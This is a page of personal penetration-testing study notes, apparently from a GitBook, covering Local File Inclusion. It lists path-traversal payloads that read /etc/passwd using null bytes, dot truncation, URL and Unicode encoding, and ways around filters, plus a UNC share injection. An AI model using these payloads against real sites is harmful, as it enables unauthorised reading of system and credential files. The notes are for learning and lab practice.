đź’»
my_offsec_notes
  • Intro
  • Enumeration
    • Network Discovery
      • Arp
      • NetDiscover
      • TCPDump
    • DNS Enumeration
      • Find E-mail Addresses
      • Zone Transfer
    • Scanning
      • Nmap
        • FlaconSpy.py
        • NSE
      • AutoRecon
      • onetwopunch.sh
      • nc
      • Nikto Scan
      • Banner Grabbing
    • brute forcing the web
    • my recon cheat-sheet
      • Comman
    • Passive Enum
  • Starting web services
  • âš“Common Ports
    • TCP
      • Samba
        • Enumerating
        • Accessing
      • LDap
      • Domain (53)
      • NFS
      • MSRPC (135)
      • SMTP
      • MSRPC
      • FTP
        • BRUTE FORCING
      • KERBEROS (88)
      • POP3
      • RPC-BIND
      • SQL
        • MYSQL
          • My-SQL Root Access
          • Access
        • MS-SQL
          • Access
      • HTTP/HTTPS
        • WEB TECHNOLOGY
          • WORD-PRESS
          • DRUPAL
          • JOOMLA
          • WebDav
          • JENKINS
          • FLASK
          • PHP
          • J-BOSS
        • DIRECTORY/FILES FUZZING
        • LOGIN PAGE
        • TOMCAT
      • ORACLE (1521)
      • SSH
      • RDP (3389)
      • Redis
      • Rsync
      • Netbios (137)
      • Memcached (11211)
      • SSL (443)
      • Finger (79)
      • RPC (1024 to 5000)
    • ALL-ROUNDER
    • UDP
      • SNMP (161)
      • TFTP
  • PORT KNOCKING
  • ENUMERATING USERS
    • ENUM HASHES
  • Exploitation
    • Web Site Exploitation Vectors
      • LFI
        • Config Files
          • Linux
          • Windows
        • Some Useful
      • RFI
      • XXE
      • XSS
      • SQLi
        • NoSQL-Map
        • SQL-Map
      • SSTI
    • Accessing Target Machine
      • Windows
      • Linux
    • Exploits
  • Buffer Overflow
    • useful commands
    • Buffer Overflow Prep ("THM")
  • Creating Reverse Shells
    • Online Resources
    • Windows
    • Linux
    • Mac
    • Gifts for Web Pages
      • Scripting Languages
    • Common One liners
  • Active Directory
    • Enumeration
    • my A.D. Cheat-Sheet
    • After Getting D.C.
  • Priv-Esc
    • Windows
      • whoami /privs
      • Writable Service Executable
      • Cheat sheet
      • Unquoted Service Path
    • Linux
      • Cheat sheet
      • Cronjob
      • Docker (Group)
        • Docker GTFO
      • LXD (Group)
      • sudo+LD_PRELOAD
      • Mysql
        • MySQL (root access)
      • sudo<1.8.28
  • Break-Out Commands
    • Jailed SSH
    • Spawn a Bash shell for me
  • Password Attacks
  • PORT FORWARDING / TUNNELING
  • Post Exploitation
    • injecting Backdoors
  • Machines
    • Template
    • Hack The Box
      • Late
    • Try Hack Me
    • P.G. Grounds
    • Vuln-Hub
Powered by GitBook
On this page
  1. Exploitation
  2. Web Site Exploitation Vectors

LFI


NULL CARACTER:
Sometimes applications append extra characters, like file extensions, to the input variable. A null byte will make the application ignore the following characters.

original→ index.php?somefile=image.jpeg
testing → index.php?somefile=../../../../etc/passwd%00image.jpeg

Note: PHP fixed the issue in version 5.3.4. https://bugs.php.net/bug.php?id=39863

===========================================================

Dot Truncation #
In PHP, filenames longer than 4096 bytes will be truncated and, characters after that, ignored.

http://example.com/index.php?page=../../../etc/passwd................[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../../etc/passwd

Note: In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/

=======================================================


Encoding 
Manipulating variables that reference files with “dot-dot-slash" (../) sequences and its variations, or using absolute file paths, may allow bypassing poorly implemented input filtering.

					URL					Double URL				UTF-8 Unicode																16 bits Unicode
.					%2e					%252e					     %c0%2e 		%e0%40%ae	 %c0%ae							%u002e
/					%2f					%252f						%c0%2f		%e0%80%af 	 %c0%af							%u2215
\					%2c					%252c						%c0%5c 		%c0%80%5c	 										%u2216



Encoded ../:

%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215



Encoded ..\:
%2e%2e%2c
%252e%252e%252c
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2216



Double URL Encoding :

http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd


UTF-8 Encoding:

http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd



Bypass Filtering:
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd


Bypass ../ removal:
..././
...\.\


Bypass ../ replaced with ;:
..;/
http://example.com/page.jsp?include=..;/..;/sensitive.txt




Windows UNC Share:

Windows UNC shares can be injected to redirect access to other resources.

\\localhost\c$\windows\win.ini

PreviousWeb Site Exploitation VectorsNextConfig Files

Last updated 2 years ago